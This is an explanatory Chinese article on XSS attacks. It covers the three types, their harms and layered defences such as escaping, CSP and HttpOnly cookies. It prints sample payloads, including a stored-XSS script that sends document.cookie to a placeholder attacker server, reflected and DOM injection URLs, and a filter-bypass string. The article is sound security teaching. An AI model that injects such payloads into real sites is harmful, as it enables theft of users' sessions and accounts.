XSS（Cross-Site Scripting，跨站脚本攻击）是 Web 安全领域最常见的漏洞之一，属于注入型攻击范畴。其核心原理是攻击者将恶意 JavaScript 代码注入到目标网站的页面中，当用户访问该页面时，恶意代码会在用户的浏览器中自动执行，进而窃取用户数据、伪造用户操作或控制用户账户，最终危害用户隐私与网站安全。
一、XSS 攻击的核心原理
Web 应用若未对用户输入的内容（如评论、表单提交、URL 参数等）进行严格过滤或转义，攻击者就能将恶意 JavaScript 代码（如<script>标签、事件触发代码等）伪装成 “正常内容” 提交到网站。当其他用户访问包含该恶意代码的页面时，网站会将恶意代码作为 “合法页面内容” 返回给用户浏览器，浏览器无法区分代码来源，会直接执行，导致攻击生效。
简单来说，XSS 的本质是 **“混淆用户输入与网站自有代码的边界”**—— 让浏览器把攻击者注入的恶意代码，误认为是网站本身的正常脚本。
二、XSS 攻击的三大类型
根据恶意代码的注入方式、存储位置及触发场景，XSS 主要分为以下三类，危害程度与触发条件各有不同：
类型 | 核心特点 | 触发场景 | 典型案例 |
存储型 XSS（Persistent XSS） | 恶意代码被永久存储在目标网站服务器（如数据库、评论区、用户资料表），所有访问该页面的用户都会触发攻击，危害范围最广 | 论坛评论、博客留言、用户个人简介、商品评价等 “用户输入会被长期保存” 的场景 | 攻击者在某论坛评论区提交<script>窃取Cookie的代码</script>，该评论被存入数据库；其他用户打开该帖子时，浏览器执行恶意代码，Cookie 被发送到攻击者服务器 |
反射型 XSS（Reflected XSS） | 恶意代码不存储在服务器，仅通过 “用户点击含恶意参数的 URL” 触发，攻击仅针对点击 URL 的单个用户，属于 “一次性攻击” | 搜索框、登录失败提示、URL 参数传递（如http://xxx.com/search?key=恶意代码）等 “用户输入仅临时显示在页面” 的场景 | 攻击者构造 URL：http://xxx.com/login?error=<script>窃取Cookie</script>，诱导用户点击；用户点击后，网站将 “error 参数值” 直接显示在页面，恶意代码执行 |
DOM 型 XSS（DOM-Based XSS） | 恶意代码不经过服务器，仅通过浏览器端的 DOM 操作触发—— 网站前端代码直接使用 URL 参数、本地存储等用户可控数据修改 DOM，未做过滤导致攻击 | 前端通过location.href、document.getElementById等操作 URL 参数，且未处理用户输入的场景 | 网站前端代码有：document.getElementById("content").innerHTML = location.hash.slice(1);（获取 URL 中#后的内容并插入页面）；攻击者构造 URL：http://xxx.com/#<script>恶意代码</script>，用户点击后，前端直接执行该代码 |
三、XSS 攻击的常见危害
XSS 攻击的危害主要针对 “访问含恶意代码页面的用户”，部分场景下也会影响网站本身，具体包括：
- 窃取用户敏感数据
恶意代码可读取用户浏览器中的 Cookie（含登录凭证、会话 ID）、LocalStorage 数据，甚至通过document.write、表单劫持等方式获取用户输入的账号密码、银行卡信息，随后将数据发送到攻击者的服务器。 - 伪造用户操作
执行恶意代码后，攻击者可通过XMLHttpRequest、fetch等 API 模拟用户操作，如自动发送评论、转账、修改用户资料、绑定恶意手机号，甚至以用户身份发布违规内容，嫁祸用户。 - 控制用户浏览器
部分 XSS 可结合其他漏洞（如 CSRF），实现 “浏览器劫持”，例如强制跳转至钓鱼网站、弹出恶意广告、挖矿脚本（利用用户设备算力挖矿），或通过window.open打开大量窗口导致浏览器崩溃。 - 批量攻击与传播
存储型 XSS 若注入到高流量页面（如首页公告、热门帖子），可同时攻击所有访问该页面的用户，形成 “批量攻击”；甚至可能通过用户的社交账号自动转发含恶意链接的内容，实现攻击扩散。
四、XSS 攻击的防御措施
防御 XSS 的核心思路是 **“严格区分用户输入与网站代码，让浏览器仅执行‘可信的脚本’”**，具体可从 “后端过滤”“前端转义”“安全配置” 三个层面入手：
1. 后端：过滤与验证用户输入（最核心防线）
- 输入过滤：
对用户提交的所有内容（评论、表单、URL 参数）进行 “白名单过滤”—— 仅允许合法字符（如字母、数字、常见标点），拒绝<script>、onclick、javascript:等危险标签 / 关键字；避免使用 “黑名单过滤”（易被绕过，如攻击者可通过<scr<script>ipt>等变形绕过检测）。 - 输出转义：
将存储在服务器中的用户输入 “转义后再返回给浏览器”—— 例如将<转义为<、>转义为>、"转义为"，让恶意代码被当作 “文本” 显示，而非可执行的脚本。 - 限制输入长度：
对非必要的输入（如评论、昵称）设置合理长度限制，减少恶意代码注入的空间。
2. 前端：增强页面安全控制
- 避免危险 DOM 操作：
减少使用innerHTML、outerHTML、document.write等直接插入 HTML 的 API；若必须使用，需先对输入内容进行转义（如使用textContent替代innerHTML，或通过工具库（如 DOMPurify）净化内容）。 - 禁用危险脚本执行：
通过<meta http-equiv="Content-Security-Policy" content="script-src 'self'">（CSP，内容安全策略）限制脚本来源 —— 仅允许加载网站自身域名的脚本，禁止执行第三方或注入的恶意脚本（CSP 是防御 XSS 的重要补充手段）。 - 处理 URL 参数与本地存储：
前端读取 URL 参数（如location.search、location.hash）或 LocalStorage 数据时，需先过滤转义，避免直接用于 DOM 修改。
3. 其他安全配置
- 设置 Cookie 的 HttpOnly 与 Secure 属性：
HttpOnly：禁止 JavaScript 读取 Cookie，从根源上防止 XSS 窃取 Cookie；
Secure：仅允许 HTTPS 协议传输 Cookie，避免 HTTP 协议下的 Cookie 被拦截。 - 定期漏洞扫描：
使用自动化工具（如 OWASP ZAP、Burp Suite）扫描 Web 应用，检测潜在的 XSS 漏洞；同时关注第三方组件（如前端框架、插件）的安全更新，避免因组件漏洞被利用。
五、典型 XSS 攻击案例（直观理解）
以 “存储型 XSS 攻击论坛评论区” 为例：
- 攻击者在某论坛评论框中输入：
<script>var img = new Image(); img.src = "http://攻击者服务器/steal?cookie=" + document.cookie;</script> - 若论坛未过滤该内容，恶意代码会被存入数据库；
- 其他用户打开该帖子时，浏览器加载评论并执行恶意代码，自动创建一个指向 “攻击者服务器” 的图片请求，同时将当前用户的 Cookie（含登录凭证）作为参数发送；
- 攻击者通过服务器日志获取 Cookie，使用该 Cookie 登录用户账户，窃取隐私或伪造操作。
总结
XSS 攻击的核心是 “利用 Web 应用对用户输入的信任”，其危害覆盖用户隐私与网站安全，且因攻击方式灵活（可通过变形、绕过过滤），成为长期威胁 Web 安全的 “顽疾”。防御 XSS 需遵循 “后端为主、前端为辅、多层面协同” 的原则，通过严格的输入过滤、输出转义、安全配置，从根源上切断恶意代码的注入与执行路径，保障用户与网站的安全。